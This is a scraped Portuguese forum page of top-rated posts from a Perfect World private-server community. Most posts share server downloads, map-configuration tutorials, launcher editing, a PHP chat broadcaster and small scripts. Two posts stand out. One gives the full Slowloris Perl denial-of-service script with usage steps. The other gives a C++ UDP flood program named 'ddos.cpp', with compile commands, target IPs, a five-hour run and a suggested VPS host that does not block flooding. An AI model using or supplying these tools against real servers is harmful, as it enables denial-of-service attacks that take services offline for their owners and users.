Os Melhores
Conteúdo popular
Mostrando conteúdo com a maior reputação em 03/12/25 em Posts
-
Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?8 pontos
-
3 pontos
-
Dependências sudo dnf install gcc-c++ glibc-devel make Compilar o código g++ ddos.cpp -o ddos -lpthread ./ddos VPS sem bloqueio: idconline.vn #include <iostream> #include <chrono> #include <thread> #include <cstring> #include <vector> #include <arpa/inet.h> #include <sys/socket.h> #include <unistd.h> #define PORT 29000 #define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden) #define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı #define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden) #define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden) #define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden) // Paketleri belirtilen IP'ye gönderen fonksiyon void send_packets(int sockfd, struct sockaddr_in& server_addr) { char packet[PACKET_SIZE]; memset(packet, 'A', PACKET_SIZE); for (int i = 0; i < PACKETS_PER_CYCLE; ++i) { sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)); } } int main() { // Hedef IP adresleri std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"}; std::vector<int> sockets; std::vector<struct sockaddr_in> server_addrs; // Her IP için bir soket oluştur ve yapılandır for (const auto& ip : ips) { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { std::cerr << "Soket oluşturulurken hata: " << ip << std::endl; continue; } struct timeval timeout; timeout.tv_sec = TIMEOUT_SECONDS; timeout.tv_usec = 0; setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr); sockets.push_back(sockfd); server_addrs.push_back(server_addr); } auto start_time = std::chrono::steady_clock::now(); auto end_time = start_time + std::chrono::hours(TOTAL_HOURS); // Belirtilen süre boyunca paket gönder while (std::chrono::steady_clock::now() < end_time) { for (size_t i = 0; i < sockets.size(); ++i) { send_packets(sockets[i], server_addrs[i]); } std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000))); } // Soketleri kapat for (int sockfd : sockets) { close(sockfd); } return 0; }3 pontos
-
Criação Servidor Perfect World 173v344 Link do Vídeo PWServer 173v344 Download: [Conteúdo Oculto] Cliente 173v344 Download: [Conteúdo Oculto]2 pontos
-
2 pontos
-
Se seu RAE Editor de Elements não abre por nada, utilize este link: RAE_2023.zip2 pontos
-
Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip2 pontos
-
WinPCK v1.33.0.3 – Atualizado ChangeLog: Leitura de arquivos .cup, o WinPCK fará a decodificação do cup. Instalação no registro do Windows com .cup Leitura de arquivos .pck com .pkx maiores que 2GB Leitura de arquivos .pck com .pkx1 Tradução para o inglês Atualizado para C++20 Atualizado para o Visual Studio 2022 Codigo Fonte: [Conteúdo Oculto] Binarios: [Conteúdo Oculto]/releases v1.33.0.3 - Release.rar v1.33.0.3 - Release-static.rar1 ponto
-
1 ponto
-
<html> <head> <script type="text/javascript"> function slide1(){ document.getElementById('id').src="img/1.png"; setTimeout("slide2()", 3000) } function slide2(){ document.getElementById('id').src="img/2.png"; setTimeout("slide3()", 3000) } function slide3(){ document.getElementById('id').src="img/3.png"; setTimeout("slide1()", 3000) } </script> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-color: #000; overflow-x: hidden; overflow-y: hidden; } --> </style><body onLoad="slide1()"> <img id="id"> </body> </html> Legenda - Imagens na pasta img - Tempo de troca: 3000 segundos ele muda para outra imagem Usado para trocar as imagens do launcher que fica rotacionando banner.zip1 ponto
-
1 ponto
-
1 ponto
-
Olá pessoal! Estou disponibilizando o PWAdmin 4.5 em sua versão original e sem modificações. Recebi informações de que alguém estava distribuindo o PWAdmin 4.5 com um trojan, então decidi compartilhar a versão limpa aqui. Por favor, tenham cuidado ao baixar qualquer software pela internet. Fiquem atentos à procedência dos arquivos que vocês baixam. Segurança em primeiro lugar! pwAdmin-cliente.7z pwadmin-servidor.7z1 ponto
-
1 ponto
-
Olá todos, vim compartilhar com vocês hoje, um template que eu comprei há mais ou menos 1 ano e acabei não utilizando e também não tenho pretensão de utilizar. Esse template está no formato de html5 ( html, css e js), e está como uma tela em branco, você pode ajustar da maneira que deseja. Conteúdo do arquivo: Capturas de Tela: Baixar: Granage Template.rar1 ponto
-
Traduzido por mim de russo para português funcional na versão 1.7.2 Senha pra usar o console – d 777 2177 (sempre usar antes de usar o console dura 1 hora ) script.lua1 ponto
-
Olá a todos, estou buscando trazer tutoriais de coisas mais complexas, para que desenvolvedores que estão começando a pouco tempo, possa crescer ainda mais seu conhecimento. Vim trazer algo que poucos tem conhecimento e também tiveram curiosidade de saber, sobre mapas e sobre fixação de mapas. Quando eu construi o New History em 2018, eu customizei ele ao máximo e com isso eu aprendi bastante a trabalhar com mapas e me foi despertado muita curiosidade sobre. Hoje trabalhando com as novas versões, eu tive que adicionar na minha build mais de 25 mapas e vim ensinar vocês como adicionar novos mapas no servidor da forma correta (gs.conf). Lembrando, que todo o sistema de exportação e downgrade não precisa ser ensinado, pois há uma ferramenta perfeita para esse trabalho do Steve Langley (Skype: narrowengineer), o AngelicaMapEditor. Só deixando um adendo, a ferramenta não gera npcgen.data, path.sev e arquivos de configuração dos mapas (Sem esses, os mapas não ligam), então recomendo antes de tudo, clonar um existente (Limpo) e adicionar os novos arquivos exportados. Agora vamos para o que interessa! Vou usar como exemplo o mapa:a101 (is101). Você precisará abrir o arquivo instance.txt (element/configs.pck/instance.txt) e gs.conf (PWServer/gamed/gs.conf) Estando com os dois abertos, você irá pesquisar no instance.txt: "a101" Estará mais ou menos assim: ////////////////////////////////////////////////////////////// "北陆-蜃渊雪国遗址" { 91 "a101" // path "loading/a101" // loading background 2,2 // row, column 0 "r0_0-c1_1-l0.cfg" {} 0 } ////////////////////////////////////////////////////////////// Somente disso que precisaremos. Informações que iremos precisar para o servidor: 91 = ID do mapa (tag) “a101” = nome do mapa 2,2 = Row / Colum Sempre bom lembrar que esses valores podem alterar dependendo de qual mapa você irá utilizar, então não se apegue a isso. Agora vamos para o gs.conf Ensinamento básico, se você reparar: São 2 tipos de mapas: world_servers e instance_servers. O que você precisa definir primeiro é isso, se será um mapa aberto (world_servers), ou se será uma dungeon ( quando desmonta o grupo todo mundo é expulso e ela reseta) instance_servers. Bem, escolhendo isso, você irá definir como vamos solicitar esse mapa depois do último mapa definido em world_servers ou instance_servers, ficando assim: world_servers = gs01;/*imagine vários mapas definidos*/;is101; Então você percebeu que vamos chamar nosso mapa de is101, mas você pode colocar qualquer nome (nessa etapa e nas demais definições), exemplos: zd411, ab587, z57… Como você é inteligente e já percebeu, eu defini meu mapa como um mapa aberto, ou seja, um world_server. Agora você vai terminar de configurar seu mapa, no final do arquivo gs.conf. Estarei explicando logo após o código. ;----------------------------------------------------------------------------------------------------- [World_is101] ;-------- Se o seu mapa é um world_servers World_Nome, caso contrário Instance_Nome ----- index = 126 tag = 91 base_path = a101/ limit = allow-root; grid = {80,80,25,-1000.0,-1000.0} base_region = {-1024.0,-1024.0} , {1024,1024.0} local_region = {-1024.0,-1024.0} , {1024,1024.0} cid = 0,2,13 [Terrain_is101] ;-------- Mude o Nome ----- szMapPath = map nAreaWidth = 512 nAreaHeight = 512 nNumAreas = 4 ;----- Normalmente é uma soma de Cols + Rows (Salvo exceções) nNumCols = 2 ;----- Numero de Columns no instance.txt nNumRows = 2 ;----- Numero de Rows no instance.txt vGridSize = 2.0f vHeightMin = 0.0f vHeightMax = 800.0f [MsgReceiverTCP_is101] ;-------- Mude o Nome ----- type = tcp listen_addr = INSTANCE101:12009 ;-------- Caso seja localhost, declare, mas lembre sempre de alterar a porta por exemplo 12010,12011.. ----- so_sndbuf = 16384 so_rcvbuf = 16384 tcp_nodelay = 1 listen_backlog = 10 [MsgReceiverUNIX_is101] ;-------- Mude o Nome ----- type = unix listen_addr = /tmp/gssock_is101 ;-------- Mude o Nome ----- so_sndbuf = 16384 so_rcvbuf = 16384 listen_backlog = 10 ;----------------------------------------------------------------------------------------------------- Bem, essa é a configuração do mapa a101. Tudo dependerá do tamanho do row e da column que pegamos na instance.txt Primeiro de tudo, você terá que adicionar um Index, lembrando, esse valor não pode ser igual outro mapa existente (dará conflito e os dois serão desligados), então use um valor depois do último mapa configurado, lembre-se também, que esse valor não pode passar de 128 (na 1.5.5), caso contrário, os monstros e npcs afundam no mapa. ( Usei 126). você terá que adicionar o id (Tag) para o ID do mapa no instance.txt, se o ID tiver errado (diferente do client), você toma disconnect ao tentar acessar o mapa. ( Usei 91). base_path é o caminho onde está o seu mapa, nesse caso, você altera apenas o nome ( Usei a101/ ). limit são variáveis de liberações do mapa, segue os exemplos em um fórum externo: [Conteúdo Oculto] Grid ( Como definir o valor ): O valor de Grid dependerá do seu Row / Column. Exemplos: Se o mapa for 2 / 2: 80,80,25,-1000,-1000 Se o mapa for 3 / 3 120,120,25,-1500,-1500 Se o mapa for 4 / 4: 160,160,25,-2000.-2000 Os exemplos acima são bem explicativos, caso não entendeu, basicamente: Você vai multiplicar o valor de grid x 25, ele dará o resultado total, ou seja: 80 x 25 = 2000. 2000 / 2 = 1000, então nesse caso: -1000, -1000. 120 x 25 = 3000. 3000 / 2 = 1500, então nesse caso: -1500, -1500. Assim por diante. base_region e local_region, você consegue esse valor através do AngelicaMapEditor. Os demais valores importantes de serem configurados eu deixei comentário no exemplo acima. Em caso de dúvidas fique à vontade em perguntar.1 ponto
-
Abrir o editor AngelicaMapEditor. Obter as coordenadas iniciais (X.Y.Z) no modelo 3D. Mover o modelo 3D para uma nova posição e, em seguida, obter as novas coordenadas (X.Y.Z). Clicar em "Calcular" para gerar os seguintes resultados: Direção do Vetor: DirX = 1.0000 DirY = 0.0000 DirZ = 0.0000 Vetor Up: UpX = 0.0000 UpY = 1.0000 UpZ = 0.0000 Fix de seleção.rar1 ponto
-
Essa ferramenta foi compilada por mim. Faz parte do kit de ferramentas que estou trabalhando para criação e edição de .ecm, gfx e skillgfx, faceEditor... Esse programa é parte das ferramentas usada para criação de modelos dos jogos Angelica. Ela tem multiplas funcionalidades: Model viewer Animação viewer Conversão de Bones Alteção do .ski do .smd(sabe aqueles .ski com que tem na pasta do .ecm que não são usado, você pode trocar a atual por aquelas) Você pode adiocionar novas animações e coisas do tipos desde que tenha a mesma quantidade de ossos. SkeletonEditor_Beta.7z1 ponto
-
1 ponto
-
O Editor de NW (Nation War) para Perfect World é uma ferramenta poderosa que permite aos jogadores e administradores de servidores personalizar os mapas da famosa Guerra da Dinastia, uma das batalhas em larga escala mais emocionantes do jogo Perfect World. Com este editor, é possível alterar a configuração territorial, ajustando o posicionamento de bases, modificando terrenos e criando novas dinâmicas de combate. Esse editor oferece uma interface intuitiva para que até mesmo aqueles com pouca experiência possam manipular os mapas, permitindo ajustes nos pontos de interesse, tais como portões, torres e áreas estratégicas. Além disso, o Editor de NW facilita a criação de novos cenários para manter as guerras dinâmicas e desafiadoras, proporcionando uma experiência sempre renovada aos jogadores. Seja para modificar pequenos detalhes ou criar uma guerra completamente nova, o Editor de NW é a ferramenta essencial para quem deseja explorar todo o potencial tático e criativo de Perfect World nas batalhas territoriais, transformando as guerras de nação em um evento ainda mais épico. Download: Clique Aqui1 ponto
-
Esse vídeo vai lhe ensina como criar um novo npc, onde colocar, criar missão e adicionar requisitos como matar mobs e boos, e adicionar uma premiação. Download da missão diária: Clique Aqui1 ponto
-
desculpe pelo problema do tópico. Eu só quero compartilhar essa ferramenta para que vocês possam gerar cores gradientes sem instalar o delphi community edition. muito simples de usar e direto. os valores "BarColor" "BarcolorStop" devem ser copiados no Resource Tuner fórmula usada: Valor decimal=(B×256²)+(G×256)+R view: ColorPicker.7z1 ponto
-
Baixe o Resource Tuner: [Conteúdo Oculto] Depois de baixado, abra-o e clique em Arquivo > Abrir Arquivo > launcher.exe Uma vez aberto, você verá uma série de coisas no lado esquerdo do programa. Vá em frente e abra RC Data e você verá uma lista completa de novas pastas que são necessárias para modificar o lançador. Compreendendo a Estrutura do Lançador: TBACKFORM: Neutral ( Contém o plano de fundo principal do seu lançador. ) Tipo de Arquivo: PNG Você pode salvar isso ou substituí-lo por qualquer coisa que desejar, apenas certifique-se também de alterar a propriedade ClientWidth e ClientHeight. (Backform: TBackForm & Img:TImage) TlauncherMain:Neutral contém todos os botões que você precisa modificar se quiser modificar tudo sozinho. Isso também contém o texto ou registros do patcher quando está atualizando coisas dentro do cliente. Dependendo da versão que você tem, isso pode variar. Eu recomendo usar uma versão mais antiga do lançador do Alex para que isso funcione no seu. Porque tenho visto versões mais recentes com proteção contra modificações. Opcional: se você quiser alterar os valores de cor para o que desejar, precisará de um ambiente de desenvolvimento integrado (IDE) do Delphi chamado Embarcadero RADStudio. É gratuito e você pode instalá-lo sozinho. Depois de entrar no RADStudio, crie um novo formulário VCL e adicione apenas um rótulo ou algo que você possa modificar suas cores. Certifique-se de clicar duas vezes na caixa de texto de cor para poder definir uma cor personalizada que você deseja. Agora vá para o projeto e construa o projeto para que você possa compilar o formulário que acabou de fazer e abri-lo em outra instância do ResourceTuner. Agora copie o que você tem na guia de cor, geralmente é um número de 7 dígitos que representa a cor selecionada. Isso é bastante útil para a barra de progresso, já que a cor da barra de progresso pode ser alterada. Depois de ter feito tudo isso, basta salvar e aproveitar os resultados. Exemplo do meu trabalho: Coisas a observar ao preparar os gráficos: O tipo de arquivo do plano de fundo principal é PNG (ele suporta transparência, é claro). Os botões e o plano de fundo do seu registro de texto são BMP, então você precisa convertê-lo para BMP. Certifique-se de que não tenha nenhuma transparência, caso contrário, ficará estranho.1 ponto
-
Aqui um breve tutorial basico sobre aipolicy Não sou bom com tutoriais por isso nunca criei algo a respeito. aqui o link do video: [Conteúdo Oculto] Servidores VPS BR [Conteúdo Oculto] Quer ajudar no pix? kk [email protected] Se tiverem dúvidas sobre posta sua dúvida que tentarei criar vídeos futuros!1 ponto
-
1 ponto
-
pw-web originalmente feito por tomirons/hulu que foi lançado no ragezone, está abandonado no momento. alguns meses atrás, ele encontrou um erro no qual você não pode instalá-lo devido à indisponibilidade de um pacote, então decidi corrigi-lo para torná-lo utilizável novamente. As instruções sobre como instalar o painel estão no github. [Conteúdo Oculto] pw-web-master.zip1 ponto
-
import Foundation import Security // 生成RSA密钥对 func generateRSAKeyPair() throws -> SecKey { let parameters: [String: Any] = [ kSecAttrKeyType as String: kSecAttrKeyTypeRSA, kSecAttrKeySizeInBits as String: 2048 ] var error: Unmanaged<CFError>? guard let privateKey = SecKeyCreateRandomKey(parameters as CFDictionary, &error) else { throw error!.takeRetainedValue() as Error } return privateKey } // 使用公钥RSA加密文件 func encryptFile(withPublicKey publicKey: SecKey, inputFile: URL, outputFile: URL) throws { let inputData = try Data(contentsOf: inputFile) let encryptedData = SecKeyCreateEncryptedData(publicKey, .rsaEncryptionOAEPSHA512, inputData as CFData, nil)! try encryptedData.write(to: outputFile) } // 使用私钥RSA解密文件 func decryptFile(withPrivateKey privateKey: SecKey, inputFile: URL, outputFile: URL) throws { let encryptedData = try Data(contentsOf: inputFile) let decryptedData = SecKeyCreateDecryptedData(privateKey, .rsaEncryptionOAEPSHA512, encryptedData as CFData, nil)! try decryptedData.write(to: outputFile) } // 生成RSA密钥对 let privateKey = try generateRSAKeyPair() let publicKey = SecKeyCopyPublicKey(privateKey)! // 指定输入和输出文件路径 let inputURL = URL(fileURLWithPath: "elements.data") let encryptedOutputURL = URL(fileURLWithPath: "encrypted_elements.data") let decryptedOutputURL = URL(fileURLWithPath: "decrypted_elements.data") // 使用公钥RSA加密文件 do { try encryptFile(withPublicKey: publicKey, inputFile: inputURL, outputFile: encryptedOutputURL) print("文件已成功加密!") } catch { print("加密文件时发生错误:\(error.localizedDescription)") } // 使用私钥RSA解密文件 do { try decryptFile(withPrivateKey: privateKey, inputFile: encryptedOutputURL, outputFile: decryptedOutputURL) print("文件已成功解密!") } catch { print("解密文件时发生错误:\(error.localizedDescription)") }1 ponto
-
Descrição e taxas do servidor! Taxas de Exp x100, SP x100, Adena x80, Drop x40, Spoil x40, Quest x20, Raid x10, QR x2 - x4. Comece sua jornada com equipamento inicial de TOP NG. Um sistema completo de perfis de personagens. Loja do GM até grau B, com todos os itens consumíveis disponíveis. Profissões para gatos disponíveis para compra com Adena. Eventos TvT, DM com prêmios valiosos. Flechas e sementes infinitas. 36 slots para buff, cada um com duração de 2 horas. Monstros campeões com queda de moeda especial. Negociação e fabricação offline disponíveis. Restrições de tempo de jogo implementadas. Cerco semanal. Período Olímpico de 2 semanas. Máximo de encantamento na Olimpíada: +6. Missão Noblesse abreviada. Tempo de respawn de Raid Boss nobre: 2-3 horas. Tempo de respawn de Raid Boss épico: 14-16 semanas. Menu de configuração de personagem .menu Máximo de encantamento para armas: 16, para itens: 14. Encantamento seguro até +3, Armadura completa até +4. Taxa de sucesso de encantamento comuns - 55%, com Bênção - 60%. Chance de aprender habilidades com livros de habilidades de alto nível - 20%. Tempo de lançamento reduzido para 15 segundos. Subclasses disponíveis sem necessidade de missão, equipadas com tudo o necessário até grau B. Troca de Pion Coins por Adena e vice-versa disponível. Patch0.7.0 сентябрь.zip The server x100.rar1 ponto
-
1 ponto
-
1 ponto
-
Esse sistema foi feito pelo Leo B2host é só criar um cron em php e seja feliz. <?php /** ** Programado por Leandro Hermes - [Conteúdo Oculto] **/ $config = array ( // Configs 'host' => '127.0.0.1', // Host 'port' => '29300', // Port // Chat ID: [0] - Common; [1] - World; [2] - Group; [3] - Faction; // Chat ID: [4] - Private; [6] - Info; [7] - TRADE; [9] - System; [10]- NoChat; [12] - Horn 'chatid1' => '9', // Chat ID #1 // Role ID in Message to Chat 'roleid1' => '', // Role ID #1 | You can empty ID | ID -1 = : // Message to Chat 'message1' => "mensagem que sera falado no chat GM" , // Message #1 | No Message - Do not go ); function socketsend($data, $ip,$port) { if(!@$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) {throw new Exception("Erro ao conectar no servidor do pw"); exit();} socket_connect($sock,$ip,$port); socket_set_block($sock); socket_send($sock, $data, 8192, 0); socket_recv($sock, $buf, 8192, 0); socket_set_nonblock($sock); socket_close($sock); return $buf; } function cuint($data) { if($data < 64) return strrev(pack("C", $data)); else if($data < 16384) return strrev(pack("S", ($data | 0x8000))); else if($data < 536870912) return strrev(pack("I", ($data | 0xC0000000))); return strrev(pack("c", -32) . pack("i", $data)); } function PackString($data) { $data = iconv("UTF-8", "UTF-16LE", $data); return cuint(strlen($data)).$data; } function PackOctet($data) { $data = pack("H*", $data); return cuint(strlen($data)).$data; } function gameChat($user,$msg,$chan,$host,$port) { $System = pack("C*",$chan); $Emotion = pack("C*",0); $Char = pack("N*",$user); $Message = PackString($msg); $data = PackOctet(''); $Packet = $System.$Emotion.$Char.$Message.$data; $Data = cuint(120).cuint(strlen($Packet)).$Packet; socketsend($Data, $host,$port); } // comment out what you dont use gameChat($config['roleid1'],$config['message1'],$config['chatid1'],$config['host'], $config['port']); ?> avisoBroadcast-unico.php1 ponto
-
1 ponto
-
1 ponto
-
Funcionou com esses: Comando pra mostrar as regras: iptables -L --line-numbers Comando para remover as regras: iptables -D INPUT e coloque o numero da regra exemplo: iptables -D INPUT 201 ponto
-
-1 pontos